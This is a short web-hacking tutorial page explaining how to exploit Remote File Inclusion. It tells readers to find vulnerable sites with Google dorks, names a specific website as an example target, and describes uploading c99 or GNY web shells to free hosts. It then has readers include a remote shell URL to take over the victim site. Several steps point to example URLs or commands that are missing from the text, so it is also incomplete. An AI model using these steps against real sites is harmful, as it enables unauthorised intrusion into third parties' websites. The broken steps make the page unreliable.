|Main » Articles » Web Hacking » RFI|
Remote File Inclusion (RFI) : It is a type of vulnerability most often found on websites
1st Step : Find a Vulnerable websites using Google Dork. Copy the Dork in the Google
Step 2 : This will show all the pages which has "index.php?page=” in their URL, Now to test whether the website is vulnerable to Remote file Inclusion.
see example of this website http://www.cbspk.com
So the example URL will become:
Step 3 : If after executing the command the homepage of the Google shows up then then the website is vulnerable to this attack if it does not come up then you should look for a new target. In my case after executing the above command in the address bar Google homepage shows up indicating that the website is vulnerable to this attack.
Step 4 : Now we would upload the shells to gain access. The most common shells used are c99 shell or GNY shell. I would use GNY shell. You can download C99 shell from the link below:
Step 5 : First you have to upload the shells to a web hosting site such as viralhosts.com,110mb.com or another free hosts etc.
Now here is how a hacker would execute the shells to gain access.
OR you can direct access the shell , Lets say that the url of the shell is http://www.sh3ll.org/c99.txt?
Now We have to execute the following command to gain access
Don’t Forget To add Question Mark (?) after .txt at the end of url or else the shell will not execute. Now You are inside the website and you can do anything with it.
|Views: 4374 | Comments: 1415 | Rating: 2.5/2|
|Total comments: 0|